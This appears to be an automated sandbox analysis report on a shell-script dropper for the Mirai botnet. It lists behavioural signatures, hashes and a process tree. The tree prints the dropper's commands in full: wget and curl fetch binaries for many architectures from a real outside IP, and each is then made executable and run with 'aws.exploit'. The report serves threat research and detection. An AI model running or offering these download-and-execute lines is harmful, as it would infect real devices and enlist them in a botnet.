Analysis
-
max time kernel
60s -
max time network
151s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
12-12-2024 02:37
Static task
static1
Behavioral task
behavioral1
Sample
adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh
Resource
debian9-mipsbe-20240729-en
General
-
Target
adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh
-
Size
2KB
-
MD5
040794fa1b164cf6f00a08d2c1da58e3
-
SHA1
5f214c18e66981f06982cf3f4b91386fe093e559
-
SHA256
adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97
-
SHA512
c0d0b351204e3a7921d89c4c33b2d3fc29eb827cb5d36a198e624dbcfcb535e1e99dac7b1f8f9f0771869b930a1fa14879624f4b26b4e47bf198fdde461c0a43
Malware Config
Extracted
mirai
BOTNET
Signatures
-
Mirai family
-
Contacts a large (105675) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 735 chmod 745 chmod 862 chmod 757 chmod 886 chmod 896 chmod 880 chmod 891 chmod 751 chmod 817 chmod 856 chmod 868 chmod 780 chmod 874 chmod 902 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Andrew 736 Andrew /tmp/Andrew 746 Andrew /tmp/Andrew 752 Andrew /tmp/Andrew 758 Andrew /tmp/Andrew 782 Andrew /tmp/Andrew 818 Andrew /tmp/Andrew 857 Andrew /tmp/Andrew 863 Andrew /tmp/Andrew 869 Andrew /tmp/Andrew 875 Andrew /tmp/Andrew 881 Andrew /tmp/Andrew 887 Andrew /tmp/Andrew 892 Andrew /tmp/Andrew 897 Andrew /tmp/Andrew 903 Andrew -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Andrew File opened for modification /dev/misc/watchdog Andrew -
resource yara_rule behavioral3/files/fstream-3.dat upx behavioral3/files/fstream-6.dat upx behavioral3/files/fstream-9.dat upx behavioral3/files/fstream-12.dat upx behavioral3/files/fstream-15.dat upx behavioral3/files/fstream-18.dat upx behavioral3/files/fstream-20.dat upx behavioral3/files/fstream-24.dat upx behavioral3/files/fstream-26.dat upx -
Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself /var/Sofia 782 Andrew -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/� Andrew File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 761 wget 771 curl 779 cat -
Writes file to tmp directory 27 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/arm4 wget File opened for modification /tmp/arm6 curl File opened for modification /tmp/x86 wget File opened for modification /tmp/sh4 wget File opened for modification /tmp/Andrew adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh File opened for modification /tmp/x86 curl File opened for modification /tmp/spc curl File opened for modification /tmp/sh4 curl File opened for modification /tmp/arc curl File opened for modification /tmp/arm6 wget File opened for modification /tmp/arm7 wget File opened for modification /tmp/m68k curl File opened for modification /tmp/i686 wget File opened for modification /tmp/x86_64 wget File opened for modification /tmp/mpsl wget File opened for modification /tmp/mpsl curl File opened for modification /tmp/arm4 curl File opened for modification /tmp/arm5 curl File opened for modification /tmp/arm7 curl File opened for modification /tmp/x86_64 curl File opened for modification /tmp/mips wget File opened for modification /tmp/arm5 wget File opened for modification /tmp/i486 curl File opened for modification /tmp/i686 curl File opened for modification /tmp/mips curl File opened for modification /tmp/ppc wget File opened for modification /tmp/ppc curl
Processes
-
/tmp/adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh/tmp/adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh1⤵
- Writes file to tmp directory
PID:709 -
/usr/bin/wgetwget http://37.114.41.90/bins/i4862⤵PID:712
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i4862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:723
-
-
/bin/catcat i4862⤵PID:734
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew i486 systemd-private-0f19192dd8744879a2c296e3470f859e-systemd-timedated.service-ev2fqr2⤵
- File and Directory Permissions Modification
PID:735
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:736
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x862⤵
- Writes file to tmp directory
PID:738
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:742
-
-
/bin/catcat x862⤵PID:744
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew i486 systemd-private-0f19192dd8744879a2c296e3470f859e-systemd-timedated.service-ev2fqr x862⤵
- File and Directory Permissions Modification
PID:745
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:746
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/i6862⤵
- Writes file to tmp directory
PID:748
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:749
-
-
/bin/catcat i6862⤵PID:750
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew i486 i686 systemd-private-0f19192dd8744879a2c296e3470f859e-systemd-timedated.service-ev2fqr x862⤵
- File and Directory Permissions Modification
PID:751
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:752
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x86_642⤵
- Writes file to tmp directory
PID:754
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:755
-
-
/bin/catcat x86_642⤵PID:756
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew i486 i686 systemd-private-0f19192dd8744879a2c296e3470f859e-systemd-timedated.service-ev2fqr x86 x86_642⤵
- File and Directory Permissions Modification
PID:757
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:758
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:761
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:771
-
-
/bin/catcat mips2⤵
- System Network Configuration Discovery
PID:779
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew i486 i686 mips systemd-private-0f19192dd8744879a2c296e3470f859e-systemd-timedated.service-ev2fqr x86 x86_642⤵
- File and Directory Permissions Modification
PID:780
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Changes its process name
- Reads runtime system information
PID:782
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/mpsl2⤵
- Writes file to tmp directory
PID:784
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:794
-
-
/bin/catcat mpsl2⤵PID:816
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew i486 i686 mips mpsl systemd-private-0f19192dd8744879a2c296e3470f859e-systemd-timedated.service-ev2fqr x86 x86_642⤵
- File and Directory Permissions Modification
PID:817
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:818
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm42⤵
- Writes file to tmp directory
PID:820
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:851
-
-
/bin/catcat arm42⤵PID:855
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 i486 i686 mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:856
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:857
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm52⤵
- Writes file to tmp directory
PID:859
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:860
-
-
/bin/catcat arm52⤵PID:861
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 arm5 i486 i686 mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:862
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:863
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm62⤵
- Writes file to tmp directory
PID:865
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:866
-
-
/bin/catcat arm62⤵PID:867
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 arm5 arm6 i486 i686 mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:868
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:869
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm72⤵
- Writes file to tmp directory
PID:871
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:872
-
-
/bin/catcat arm72⤵PID:873
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 arm5 arm6 arm7 i486 i686 mips mpsl x86 x86_642⤵
- File and Directory Permissions Modification
PID:874
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:875
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/ppc2⤵
- Writes file to tmp directory
PID:877
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:878
-
-
/bin/catcat ppc2⤵PID:879
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 arm5 arm6 arm7 i486 i686 mips mpsl ppc x86 x86_642⤵
- File and Directory Permissions Modification
PID:880
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:881
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/spc2⤵PID:883
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:884
-
-
/bin/catcat spc2⤵PID:885
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 arm5 arm6 arm7 i486 i686 mips mpsl ppc spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:886
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:887
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/m68k2⤵PID:888
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:889
-
-
/bin/catcat m68k2⤵PID:890
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 arm5 arm6 arm7 i486 i686 m68k mips mpsl ppc spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:891
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:892
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/sh42⤵
- Writes file to tmp directory
PID:893
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:894
-
-
/bin/catcat sh42⤵PID:895
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arm4 arm5 arm6 arm7 i486 i686 m68k mips mpsl ppc sh4 spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:896
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:897
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arc2⤵PID:899
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:900
-
-
/bin/catcat arc2⤵PID:901
-
-
/bin/chmodchmod +x adba996c396000c7c23c0feca109c5fef6e09ba3fa0ea24b7efa0981e9b06d97.sh Andrew arc arm4 arm5 arm6 arm7 i486 i686 m68k mips mpsl ppc sh4 spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:902
-
-
/tmp/Andrew./Andrew aws.exploit2⤵
- Executes dropped EXE
PID:903
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
65KB
MD531a7b38e86933e5a6dc781c00f1a4b2c
SHA1b0e45bb1c15dcec8e6f6afd7c2a3154a1aa0b063
SHA2565c7c5958a7b18800eb26f7bb1c5f83243c0447d8958efb6e85ca9e8684d33714
SHA5126b3672bab523b59425f90a22f5970e990db3a7728e48e0d83e62edd60bf31de6083bd1ce96772a53c3840f6e5ff64dab02cece44131cfade9b09e4dcf3332275
-
Filesize
31KB
MD5b09e32f241911f4ddac45a1a7a19ba49
SHA117a7f213570aaea7f66b9c38091c9485fa0ea510
SHA25642828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c
SHA5121d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5
-
Filesize
32KB
MD5bf55d7061cedeb10e6a3839353dc6d8c
SHA134b773230a77570ef0c6fced5ab9f125996e4daf
SHA256aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9
SHA512555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e
-
Filesize
50KB
MD5d5af8f2bb8c7c3e39981ba0099fa1d1c
SHA1f12212c88dddb3c0298987b917c55063f942df88
SHA256fec20fde8f5cb8d571cee50a2bf8103c9e63c57b2bfd098693974389fd79c8d9
SHA51242b3455e467f11b68f000f6f375bd9d7f42d77c16184a3a6a36bbf4751e72a01b692032ee6d03a8ed398484cacbdb6231478d42099004f3674de84873c2e817e
-
Filesize
274B
MD5090e35476de39030dfeafbcf3d3e3f43
SHA1a4bd408cec5d1185b478e528cf60a9f5186e0b87
SHA2560085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b
SHA51255c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181
-
Filesize
28KB
MD515fb222600a3061f5c8e5ef04e5298a6
SHA193b4a17632479c8a45e2554a18ea61ea7365c532
SHA256fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965
SHA51211e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34
-
Filesize
34KB
MD56088a204e0792a10d3724e836fe699b7
SHA1fc1cf1010c99f155c46f94ec0529c8cea32c6055
SHA256345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e
SHA512bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e
-
Filesize
34KB
MD5b8f2bf3e7c002718f12751cb02130d2e
SHA106919c90eae2564ee9ded3f343e2ec18839e411d
SHA256390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d
SHA512adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185
-
Filesize
30KB
MD5053488c4fc01a20ddb689a2212c33126
SHA11eff2d1947ee2d6481fdd2ab4b2a67fba3e18321
SHA2560a8cb5b485b059b98725ff4a6411faa3ea9f150082b46b0b3868ae0e31b6dd41
SHA51232d412546f202e9165cf6c905b46d52db20425b7ff7f90b98a739f6c7860b30c34e8bc5eaca4d6f23e25c6e88580990a6003fd9747d581e25098f3267e78f1f9
-
Filesize
65KB
MD59092bfedba4c884c57e8a36df072a135
SHA1d1f5c632f741fea6a9fb73c4bcb930ebe7313e60
SHA256164fb4af0b74ff37d983392a157a4d9b464391dee726dffcfc205c930a1b062f
SHA5120f87f9126e11c09f480cf7f74f69d76492f8a8a080afaff1dde7546bae685f48d98774ee50d3c760e77bbc736712fa05a82bf034cbc82ce8e66f1e9d53013b79
-
Filesize
28KB
MD554d07ade0004f03aaca028523d8f3eb6
SHA173606fc68439ea7ceb148f94d61dbe0235da8355
SHA256d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b
SHA51243ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b
-
Filesize
28KB
MD59cc970e0631afa61a049848f4f368b12
SHA154d7d99f436e9c97da5bfdd43698bb1dbd679b29
SHA256681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16
SHA5129f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e